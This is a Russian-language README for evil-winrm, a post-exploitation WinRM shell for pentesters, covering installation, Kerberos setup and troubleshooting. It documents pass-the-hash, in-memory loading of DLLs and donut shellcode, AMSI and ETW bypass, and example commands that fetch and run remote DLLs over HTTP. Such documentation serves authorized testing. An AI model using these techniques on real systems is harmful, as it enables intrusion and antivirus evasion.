
evil-winrm v4.1
Лучшая оболочка WinRM для взлома/тестирования на проникновение
Evil-WinRM

Идеальная WinRM-оболочка для взлома/пентеста

Описание и назначение
Эта оболочка — идеальная WinRM-оболочка для взлома/пентеста.
WinRM (Windows Remote Management) — это реализация протокола WS-Management от Microsoft. Стандартный протокол на основе SOAP, который позволяет оборудованию и операционным системам от разных производителей взаимодействовать друг с другом. Microsoft включила его в свои операционные системы, чтобы облегчить жизнь системным администраторам.
Эта программа может использоваться на любых серверах Microsoft Windows с включённой этой функцией (обычно на порту 5985), конечно, только если у вас есть учётные данные и разрешения для её использования. Таким образом, можно сказать, что она может применяться на этапе пост-эксплуатации при взломе/пентесте. Назначение этой программы — предоставить удобные и простые в использовании функции для взлома. Она также может использоваться системными администраторами в законных целях, но большинство её функций ориентировано на взлом/пентест.
Она основана главным образом на библиотеке WinRM для Ruby, которая изменила свой способ работы начиная с версии 2.0. Теперь вместо использования протокола WinRM она использует PSRP (Powershell Remoting Protocol) для инициализации пулов runspace, а также для создания и обработки конвейеров.
Возможности
- Совместима с клиентскими системами Linux и Windows
- Загрузка Powershell-скриптов в память
- Загрузка dll-файлов в память в обход некоторых антивирусов
- Загрузка C# (C Sharp) сборок в память в обход некоторых антивирусов
- Загрузка x64-пейлоадов, созданных с помощью потрясающей техники donut
- Динамический обход AMSI для избежания антивирусных сигнатур
- Поддержка Pass-the-hash
- Поддержка аутентификации Kerberos, включая файлы ccache и kirbi
- Поддержка SSL и сертификатов
- Загрузка и скачивание файлов с отображением индикатора прогресса
- Просмотр служб удалённой машины без привилегий
- История команд
- Автодополнение команд WinRM
- Автодополнение локальных файлов/каталогов
- Автодополнение удалённых путей (файлов/каталогов) (можно отключить при необходимости)
- Цветовое оформление приглашения и выходных сообщений (можно отключить при необходимости)
- Опциональная функция ведения журнала
- Поддержка Docker (готовые образы доступны на Dockerhub)
- Перехват сигналов для предотвращения случайного выхода из оболочки при нажатии Ctrl+C
- Настраиваемый user-agent с использованием легитимного стандартного Windows-значения
- Обход ETW (Event Tracing for Windows)
Справка```
Usage: evil-winrm -i IP -u USER [-s SCRIPTS_PATH] [-e EXES_PATH] [-P PORT] [-a USERAGENT] [-p PASS] [-H HASH] [-U URL] [-S] [-c PUBLIC_KEY_PATH ] [-k PRIVATE_KEY_PATH ] [-r REALM] [-K TICKET_FILE] [--spn SPN_PREFIX] [-l] -S, --ssl Enable ssl -c, --pub-key PUBLIC_KEY_PATH Local path to public key certificate -k, --priv-key PRIVATE_KEY_PATH Local path to private key certificate -r, --realm DOMAIN Kerberos auth, it has to be set also in /etc/krb5.conf file using this format -> CONTOSO.COM = { kdc = fooserver.contoso.com } -K, --ccache TICKET_FILE Path to Kerberos ticket file (ccache or kirbi format, auto-detected) -s, --scripts PS_SCRIPTS_PATH Powershell scripts local path --spn SPN_PREFIX SPN prefix for Kerberos auth (default HTTP) -e, --executables EXES_PATH C# executables local path -i, --ip IP Remote host IP or hostname. FQDN for Kerberos auth (required) -U, --url URL Remote url endpoint (default /wsman) -u, --user USER Username (required if not using kerberos) -p, --password PASS Password -H, --hash HASH NTHash -P, --port PORT Remote host port (default 5985) -a, --user-agent Specify connection user-agent (default Microsoft WinRM Client) -V, --version Show version -n, --no-colors Disable colors -N, --no-rpath-completion Disable remote path completion -l, --log Log the WinRM session -h, --help Display this help message
## Требования
Требуется Ruby 2.3 или выше. Также необходимы некоторые ruby-гемы: `winrm >=2.3.7`, `winrm-fs >=1.3.2`, `stringio >=0.0.2`, `logger >= 1.4.3`, `fileutils >= 0.7.2`, `readline ~> 0.0.4`, `readline-ext ~> 0.2.0`.
В зависимости от выбранного метода установки (доступно 4) их установка может потребоваться вручную.
Ещё одно важное требование, используемое только для аутентификации Kerberos, — установка пакета Kerberos, применяемого для сетевой аутентификации.
Для некоторых дистрибутивов Linux на основе Debian (Kali, Parrot и т. д.) он называется `krb5-user`. Для BlackArch он называется `krb5`, а для других дистрибутивов Linux он может называться иначе.
Функция автодополнения удалённых путей требует нативной привязки `readline-ext`, которая устанавливается автоматически как зависимость Evil-WinRM. Для некоторых систем требуются дополнительные пакеты разработчика для её компиляции. Дополнительную информацию см. в [разделе ниже](#Remote-path-completion).
## Установка и быстрый старт (4 метода)
### Метод 1. Установка напрямую как ruby-гем (зависимости будут установлены автоматически в вашей системе)
- Шаг 1. Установите его (зависимости установятся автоматически): ```gem install evil-winrm```
- Шаг 2. Готово. Просто запускайте его!```
evil-winrm -i 192.168.1.100 -u Administrator -p 'MySuperSecr3tPass123!' -s '/home/foo/ps1_scripts/' -e '/home/foo/exe_files/'
Метод 2. Клонирование репозитория через Git и установка зависимостей вручную
- Шаг 1. Установите зависимости вручную:
sudo gem install winrm winrm-fs stringio logger fileutils readline readline-ext - Шаг 2. Клонируйте репозиторий:
git clone https://github.com/Hackplayers/evil-winrm.git - Шаг 3. Готово. Просто запускайте его!``` cd evil-winrm && ruby evil-winrm.rb -i 192.168.1.100 -u Administrator -p 'MySuperSecr3tPass123!' -s '/home/foo/ps1_scripts/' -e '/home/foo/exe_files/'
### Метод 3. Использование bundler (зависимости не будут установлены в вашу систему, просто для использования evil-winrm)
- Шаг 1. Установите bundler: `gem install bundler`
- Шаг 2. Клонируйте репозиторий: `git clone https://github.com/Hackplayers/evil-winrm.git`
- Шаг 3. Установите зависимости с помощью bundler: `cd evil-winrm && bundle install --path vendor/bundle`
- Шаг 4. Запустите его с помощью bundler:```
bundle exec evil-winrm.rb -i 192.168.1.100 -u Administrator -p 'MySuperSecr3tPass123!' -s '/home/foo/ps1_scripts/' -e '/home/foo/exe_files/'
Метод 4. Использование Docker
- Шаг 1. Запустите docker-контейнер на основе уже собранного образа:``` docker run --rm -ti --name evil-winrm -v /home/foo/ps1_scripts:/ps1_scripts -v /home/foo/exe_files:/exe_files -v /home/foo/data:/data oscarakaelvis/evil-winrm -i 192.168.1.100 -u Administrator -p 'MySuperSecr3tPass123!' -s '/ps1_scripts/' -e '/exe_files/'
## Документация
### Пароль в открытом виде
Если вы не хотите указывать пароль в открытом виде, вы можете не задавать аргумент `-p`, и пароль будет запрошен без отображения на экране.
### IPv6
Для использования IPv6 адрес должен быть добавлен в /etc/hosts. Просто укажите уже заданное имя хоста после аргумента `-i` вместо IP-адреса.
### Основные команды
- **upload**: локальные файлы можно автодополнять с помощью клавиши Tab.
- использование: `upload local_filename` или `upload local_filename destination_filename`
- **download**:
- использование: `download remote_filename` или `download remote_filename destination_filename`
__Примечания о путях (upload/download)__:
Относительные пути не допускаются для download/upload. Используйте имена файлов в текущем каталоге или абсолютные пути.
Если вы используете Evil-WinRM в среде docker, имейте в виду, что все локальные пути должны находиться в `/data`, и убедитесь, что вы смонтировали его как том, чтобы иметь доступ к загруженным файлам или иметь возможность загружать файлы с вашей локальной ОС.
- **services**: выводит список всех служб с указанием, есть ли у вашей учетной записи права на каждую из них. Для использования этой функции права администратора не требуются.
- **menu**: загружает функции `Invoke-Binary`, `Dll-Loader` и `Donut-Loader`, которые мы объясним ниже. Когда загружается ps1-файл, отображаются все его функции.
- **clear** или **cls**: очищает экран терминала. Также можно использовать сочетание клавиш `Ctrl+L` для очистки экрана.
- **exit** или **quit**: закрывает сеанс Evil-WinRM. Также можно использовать сочетание клавиш `Ctrl+D`.```
*Evil-WinRM* PS C:\> menu
,. ( . ) " ,. ( . ) .
(" ( ) )' ,' ( ' (" ) )' ,' . ,)
.; ) ' (( (" ) ;(, . ;) " )" .; ) ' (( (" ) );(, )((
_".,_,.__).,) (.._( ._), ) , (._..( '.._"._, . '._)_(..,_(_".) _( _')
\_ _____/__ _|__| | (( ( / \ / \__| ____\______ \ / \
| __)_\ \/ / | | ;_)_') \ \/\/ / |/ \| _/ / \ / \
| \\ /| | |__ /_____/ \ /| | | \ | \/ Y \
/_______ / \_/ |__|____/ \__/\ / |__|___| /____|_ /\____|__ /
\/ \/ \/ \/ \/
By: CyberVaca, OscarAkaElvis, Jarilaos, Arale61 @Hackplayers
[+] Dll-Loader
[+] Donut-Loader
[+] Invoke-Binary
[+] Bypass-4MSI
[+] services
[+] upload
[+] download
[+] clear
[+] cls
[+] menu
[+] exit
Загрузка powershell-скриптов
-
Чтобы загрузить ps1-файл, достаточно ввести его имя (допускается автодополнение по табуляции). Скрипты должны находиться в пути, заданном аргументом
-s. Введитеmenuснова и посмотрите загруженные функции. Очень большие файлы могут загружаться долго.``` Evil-WinRM PS C:> PowerView.ps1 Evil-WinRM PS C:> menu,. ( . ) " ,. ( . ) . (" ( ) )' ,' ( ' (" ) )' ,' . ,) .; ) ' (( (" ) ;(, . ;) " )" .; ) ' (( (" ) );(, )(( ".,,.).,) (..( .), ) , (...( '.."., . '.)(..,(".) ( ') _ / _|| | (( ( / \ / _| _ \ /
| __)\ / / | | ;)') \ // / |/ | / / \ /
| \ /| | | // \ /| | | \ | / Y
/_____ / _/ |__|/ _/\ / ||| /__| /__| / / / / / /By: CyberVaca, OscarAkaElvis, Jarilaos, Arale61 @Hackplayers
[+] Add-DomainAltSecurityIdentity [+] Add-DomainGroupMember [+] Add-DomainObjectAcl [+] Add-RemoteConnection [+] Add-Win32Type [+] Convert-ADName [+] Convert-DNSRecord [+] ConvertFrom-LDAPLogonHours [+] ConvertFrom-SID [+] ConvertFrom-UACValue [+] Convert-LDAPProperty [+] Convert-LogonHours [+] ConvertTo-SID [+] Dll-Loader [+] Donut-Loader [+] Export-PowerViewCSV [+] field [+] Find-DomainLocalGroupMember
### Расширенные команды
- Invoke-Binary: позволяет выполнять .NET-сборки в памяти. Имя можно автоматически дополнить с помощью клавиши Tab. Аргументы для exe-файла можно передавать через запятую. Пример: `Invoke-Binary /opt/csharp/Binary.exe 'param1, param2, param3'`. Исполняемые файлы должны находиться в пути, заданном аргументом `-e`.```
*Evil-WinRM* PS C:\> Invoke-Binary
.SYNOPSIS
Execute binaries from memory.
PowerShell Function: Invoke-Binary
Author: Luis Vacas (CyberVaca)
Required dependencies: None
Optional dependencies: None
.DESCRIPTION
.EXAMPLE
Invoke-Binary /opt/csharp/Watson.exe
Invoke-Binary /opt/csharp/Binary.exe param1,param2,param3
Invoke-Binary /opt/csharp/Binary.exe 'param1, param2, param3'
Description
-----------
Function that execute binaries from memory.
*Evil-WinRM* PS C:\> Invoke-Binary /opt/csharp/Rubeus.exe
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.0.0
Ticket requests and renewals:
-
Dll-Loader: позволяет загружать DLL-библиотеки в память, это эквивалентно:
[Reflection.Assembly]::Load([IO.File]::ReadAllBytes("pwn.dll"))DLL-файл может размещаться через SMB, HTTP или локально. После его загрузки введите
menu, затем станет доступна автодополнение всех функций.``` Evil-WinRM PS C:> Dll-Loader .SYNOPSIS dll loader. PowerShell Function: Dll-Loader Author: Hector de Armas (3v4Si0N)Required dependencies: None Optional dependencies: None .DESCRIPTION . .EXAMPLE Dll-Loader -smb -path \192.168.139.132\share\myDll.dll Dll-Loader -local -path C:\Users\Pepito\Desktop\myDll.dll Dll-Loader -http -path http://example.com/myDll.dll
Description
Function that loads an arbitrary dll
Evil-WinRM PS C:> Dll-Loader -http http://10.10.10.10/SharpSploit.dll [+] Reading dll by HTTP [+] Loading dll... Evil-WinRM PS C:\Users\test\Documents> menu
[... Snip ...]
Evil-WinRM PS C:> [SharpSploit.Enumeration.Host]::GetProcessList()
Pid : 0 Ppid : 0 Name : Idle Path : SessionID : 0 Owner : Architecture : x64
- Donut-Loader: позволяет внедрять x64-пейлоады, сгенерированные с помощью замечательной техники [donut]. Нет необходимости кодировать payload.bin — просто генерируйте и внедряйте!```
*Evil-WinRM* PS C:\> Donut-Loader
.SYNOPSIS
Donut Loader.
PowerShell Function: Donut-Loader
Author: Luis Vacas (CyberVaca)
Based code: TheWover
Required dependencies: None
Optional dependencies: None
.DESCRIPTION
.EXAMPLE
Donut-Loader -process_id 2195 -donutfile /home/cybervaca/donut.bin
Donut-Loader -process_id (get-process notepad).id -donutfile /home/cybervaca/donut.bin
Description
-----------
Function that loads an arbitrary donut :D
Вы можете использовать этот donut-maker для генерации payload.bin, если не используете Windows. Этот скрипт использует Python-модуль, написанный Марчелло Сальвати (byt3bl33d3r). Его можно установить с помощью pip: `pip3 install donut-shellcode```` python3 donut-maker.py -i Covenant.exe
.'/,-Y" "-.
l.Y ^.
/\ __ Donuts!
i /" "
| /" "\ o !
l ] o !./
\ _ _ .__./ "
X / \ _./
( \ . ..--" ~" /
Y \ /
| "x.^
| -. Z,-- /
__. ( / ______)
\ l /-----
j Y
[+] Donut generated successfully: payload.bin
- Bypass-4MSI: исправляет защиту AMSI.```
*Evil-WinRM* PS C:\> #amsiscanbuffer
At line:1 char:1
+ #amsiscanbuffer
+ ~~~~~~~~~~~~~~~
This script contains malicious content and has been blocked by your antivirus software.
+ CategoryInfo : ParserError: (:) [Invoke-Expression], ParseException
+ FullyQualifiedErrorId : ScriptContainedMaliciousContent,Microsoft.PowerShell.Commands.InvokeExpressionCommand
*Evil-WinRM* PS C:\>
*Evil-WinRM* PS C:\> Bypass-4MSI
[+] Success!
*Evil-WinRM* PS C:\> #amsiscanbuffer
*Evil-WinRM* PS C:\>
Kerberos
-
Сначала нужно синхронизировать время с контроллером домена:
rdate -n <dc_ip> -
Для генерации билета существует множество способов:
- Использование ticketer.py из impacket
- Использование Rubeus или Mimikatz для получения kirbi-билетов (поддерживается автоматическое преобразование в ccache)
-
Добавьте файл билета. Есть 3 способа:
export KRB5CCNAME=/foo/var/ticket.ccachecp ticket.ccache /tmp/krb5cc_0Используйте параметр
-K:evil-winrm -i hostname -r DOMAIN.COM -K /path/to/ticket.ccacheилиevil-winrm -i hostname -r DOMAIN.COM -K /path/to/ticket.kirbiПри использовании
-Kинструмент автоматически:- Определит формат билета (ccache или kirbi)
- Преобразует kirbi-билеты в формат ccache при необходимости (требуется ticket_converter.py или impacket-ticketConverter)
- Проверит, что файл существует и доступен для чтения
- Установит переменную окружения
KRB5CCNAME - Преобразует IP-адреса в FQDN для лучшей совместимости с Kerberos
-
Добавьте realm в
/etc/krb5.conf(для Linux). Важно использовать следующий формат: ``` CONTOSO.COM = { kdc = fooserver.contoso.com } -
Проверка билетов Kerberos с помощью
klist -
Для удаления билета используйте:
kdestroy -
Дополнительную информацию о Kerberos смотрите в этой [шпаргалке]
Завершение удалённых путей
Эта функция требует нативного расширения readline-ext. Evil-WinRM объявляет его как зависимость, поэтому он устанавливается автоматически при использовании RubyGems или Bundler. Если нативное расширение не может быть собрано, эта функция не будет работать (будет показано предупреждение).
Примечание для Ruby 3.3+:
ext/readline был удалён из исходников Ruby в версии 3.3 (Feature #19616). Поэтому Метод 1 ниже нельзя использовать с Ruby 3.3 или новее. В системах на основе Debian установите необходимый пакет разработки перед установкой Evil-WinRM или его зависимостей:```
sudo apt install libreadline-dev
The `readline-ext` dependency makes `require 'readline'` load GNU Readline instead of `reline`, which lacks `quoting_detection_proc`, the method Evil-WinRM checks for. The methods below target older Ruby versions and are kept for compatibility.
#### Method 1 (compile the needed extension)
Using this method you'll compile ruby with the needed readline feature but to use only the library without changing the default ruby version on your system. Because of this, is the most recommended method.
Let's suppose that you have in your Debian based system ruby 2.7.3:```
# Install needed package
apt install libreadline-dev
# Check your ruby version
ruby --version
ruby 2.7.3p183 (2021-04-05 revision 6847ee089d) [x86_64-linux-gnu]
# Download ruby source code (2.7.3 in this case):
wget https://ftp.ruby-lang.org/pub/ruby/2.7/ruby-2.7.3.tar.gz
# Extract source code
tar -xf ruby-2.7.3.tar.gz
# Compile the readline extension:
cd ruby-2.7.3/ext/readline
ruby ./extconf.rb
make
# Patch current version of the ruby readline extension:
sudo cp /usr/lib/x86_64-linux-gnu/ruby/2.7.0/readline.so /usr/lib/x86_64-linux-gnu/ruby/2.7.0/readline.so.bk
sudo cp -f readline.so /usr/lib/x86_64-linux-gnu/ruby/2.7.0/readline.so
Метод 2 (Установка ruby для использования только с evil-winrm через rbenv)
Предположим, что вам нужен ruby 2.7.1 на Linux на базе Debian, и вы используете zsh. Этот скрипт автоматизирует процесс. Вам нужно запустить его из той же директории, где находятся evil-winrm.rb и Gemfile (например, директория, созданная для evil-winrm после git clone):``` #!/usr/bin/env zsh
Uninstall possible current installed versions
sudo gem uninstall evil-winrm -q gem uninstall evil-winrm -q
Install rbenv
sudo apt install rbenv
Config rbenv on zshrc config file
echo 'export PATH="$HOME/.rbenv/bin:$PATH"' >> ~/.zshrc echo 'eval "$(rbenv init -)"' >> ~/.zshrc source ~/.zshrc
Install ruby with readline support
export RUBY_CONFIGURE_OPTS=--with-readline-dir="/usr/include/readline" rbenv install 2.7.1
Create file '.ruby-version' to set right ruby version
rbenv local 2.7.1
Install local gems
gem install bundler bundle install
current_evwr="$(pwd)/evil-winrm.rb"
sudo bash -c "cat << 'EOF' > /usr/bin/evil-winrm #!/usr/bin/env sh "${current_evwr}" "$@" EOF"
sudo chmod +x /usr/bin/evil-winrm
Затем вы можете безопасно запустить evil-winrm, используя новый установленный ruby с необходимой поддержкой readline, из любого расположения.
#### Метод 3 (компиляция всего ruby)
Если вы хотите скомпилировать его самостоятельно, вы можете выполнить следующие шаги. Предположим, что вам нужен ruby 2.7.3:```
wget -O ruby-install-0.8.1.tar.gz https://github.com/postmodern/ruby-install/archive/v0.8.1.tar.gz
tar -xzvf ruby-install-0.8.1.tar.gz
cd ruby-install-0.8.1/
sudo make install
ruby-install ruby 2.7.3 -- --with-readline-dir=/usr/include/readline
В зависимости от вашей системы он будет установлен в /opt/rubies/ruby-2.7.3 или, возможно, в ~/.rubies/ruby-2.7.3.
Теперь просто нужно установить зависимости evil-winrm для этой новой установленной версии ruby. Самый простой способ — выполнить команду /opt/rubies/ruby-2.7.3/bin/gem install evil-winrm. Используемая команда gem должна принадлежать новой установке ruby.
После этого вы можете безопасно запустить вашу новую установленную ruby, чтобы использовать её с evil-winrm: /opt/rubies/ruby-2.7.3/bin/ruby ./evil-winrm.rb -h
Рекомендуется использовать эту новую установленную ruby только для запуска evil-winrm. Если вы сделаете её ruby по умолчанию для вашей системы, имейте в виду, что в ней не установлены зависимые гемы. Некоторое программное обеспечение на основе ruby, такое как Metasploit или другие, может не запуститься корректно из-за проблем с зависимостями.
Логирование
Эта функция создаст файлы в вашем каталоге $HOME, сохраняя команды и выводы сессий WinRM.
История команд
Evil-WinRM поддерживает постоянную историю команд для каждой комбинации хоста и пользователя. История хранится в каталоге ~/.evil-winrm/history/ с файлами, названными как {host}_{user}.hist.
Когда вы подключаетесь к машине, к которой ранее обращались, вы можете использовать клавиши со стрелками (Вверх/Вниз) для навигации по предыдущим командам. История автоматически сохраняется после каждого выполнения команды и загружается при повторном подключении к тому же хосту с тем же пользователем.
Известные проблемы. Ошибки OpenSSL
Иногда вы можете столкнуться с ошибкой, подобной этой:``` Error: An error of type OpenSSL::Digest::DigestError happened, message is Digest initialization failed: initialization error
Ошибка возникает из-за того, что в версии OpenSSL 3.0 были удалены некоторые устаревшие функции, такие как MD4, которые необходимы для работы этого инструмента. Существует несколько обходных путей для решения этой проблемы:
- Обновите вашу систему до последней версии. Скорее всего, эта проблема была автоматически исправлена в последних версиях Ruby, которые используют более новые версии OpenSSL.
- Скомпилируйте собственный Ruby со старой версией OpenSSL 1.x вместо OpenSSL 3.0 или скомпилируйте его с OpenSSL > 3.0, чтобы избежать проблемной версии 3.0.
- Самый простой способ. Отредактируйте файл конфигурации `/etc/ssl/openssl.cnf` и убедитесь, что конфигурация выглядит следующим образом:```
openssl_conf = openssl_init
[openssl_init]
providers = provider_sect
[provider_sect]
default = default_sect
legacy = legacy_sect
[default_sect]
activate = 1
[legacy_sect]
activate = 1
- В качестве альтернативы последнему обходному решению, если ваша система использует LibreSSL вместо OpenSSL или вы просто не хотите изменять системный файл конфигурации. Создайте простой файл, содержащий указанное выше содержимое. Можно использовать любое имя, например
evil-tls.conf. После этого экспортируйте переменную окружения, чтобы заставить систему использовать его:export OPENSSL_CONF="/path/to/evil-tls.conf". Затем запустите инструмент, и ошибка исчезнет.
Журнал изменений:
Журнал изменений и изменения проекта можно посмотреть здесь: CHANGELOG.md
Авторы:
Команда:
- Cybervaca, (основатель). Twitter (X): @CyberVaca_
- OscarAkaElvis, Twitter (X): @OscarAkaElvis
- Jarilaos, Twitter (X): @_Laox
- arale61, Twitter (X): @arale61
Благодарности:
- Vis0r за личную поддержку.
- Alamot за оригинальный код.
- 3v4Si0N за отличный загрузчик dll.
- WinRb Всем участникам библиотеки ruby.
- TheWover за отличный инструмент donut.
- byt3bl33d3r за его библиотеку python для создания полезных нагрузок donut.
- Sh11td0wn за вдохновение для новых функций.
- Borch за помощь в добавлении функции ведения журнала.
- noraj за помощь в поддержке инструмента на разных версиях Ruby.
- Hackplayers за предоставление убежища для этого программного обеспечения на их github.
Отказ от ответственности и лицензия
Этот скрипт распространяется под лицензией LGPLv3+. Прямая ссылка на Лицензию.
Evil-WinRM следует использовать только для авторизованного тестирования на проникновение и/или в некоммерческих образовательных целях. Любое неправомерное использование этого программного обеспечения не является ответственностью автора или любого другого соавтора. Используйте его на своих серверах и/или с разрешения владельца сервера.